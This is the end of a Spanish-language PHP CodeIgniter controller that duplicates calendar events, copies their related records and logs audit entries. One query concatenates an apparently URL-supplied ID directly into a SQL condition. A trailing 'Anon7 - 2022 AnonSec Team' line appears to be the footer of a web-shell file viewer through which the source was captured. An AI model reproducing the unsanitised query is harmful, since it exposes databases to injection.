            'ip_origen' => $ip,
            'tipo' => 2,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA DUPLICACIÓN */
    }

    function duplicar($id) {
        $evento = $this->codegen_model->getEditCMS('evento', $id, 'id');
        $agenda = $this->codegen_model->getEditCMS('agenda', $id, 'evento_id');
        $relacionados = $this->codegen_model->get('relacion_evento', '*', 'evento_id=' . $id);

        /* AUDITORÍA */
        $ip = $this->input->ip_address();
        if ($ip == "0.0.0.0") {
            $ip = "unknown";
        }
        /* FIN AUDITORÍA */

        /* DUPLICO EVENTO */
        $data = array(
            'titulo' => $evento->titulo,
            'descripcion' => $evento->descripcion,
            'habilitado' => 0,
            'fechaalta' => date('Y-m-d H:i:s', time()),
            'tipo' => $evento->tipo,
            'subtipo' => $evento->subtipo,
            'url' => $evento->url,
            'user_id' => $this->session->userdata('user_id')
        );
        $evento_id = $this->codegen_model->addReturnID('evento', $data);

        $dataagenda = array(
            'evento_id' => $evento_id,
            'fechai' => $agenda->fechai,
            'horai' => $agenda->horai,
            'fechaf' => $agenda->fechaf,
        );
        $this->codegen_model->add('agenda', $dataagenda);
        /* FIN DUPLICO EVENTO */

        /* DUPLICO RELACIONADOS */
        foreach ($relacionados as $rel) {
            $datarel = array(
                'evento_id' => $evento_id,
                'tipo' => $rel->tipo,
                'objeto_id' => $rel->objeto_id,
                'descripcion' => $rel->descripcion,
            );
            $this->codegen_model->add('relacion_evento', $datarel);
        }
        /* FIN DUPLICO RELACIONADOS */

        /* AUDITORÍA DUPLICACIÓN */
        $audit = array(
            'usuario_id' => $this->session->userdata('user_id'),
            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
            'operacion' => "Se duplicó el evento " . $id . ". Nuevo evento " . $evento_id . " creado desde formulario",
            'operacion_id' => 56,
            'consulta' => "Evento desde formulario",
            'objeto_id' => $id,
            'ip_origen' => $ip,
            'tipo' => 2,
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA DUPLICACIÓN */


        redirect(base_url() . 'eventos/edit/' . $evento_id);
    }

}

/* End of file Eventos.php */
    /* Location: ./system/application/controllers/Eventos.php */    

Anon7 - 2022
AnonSec Team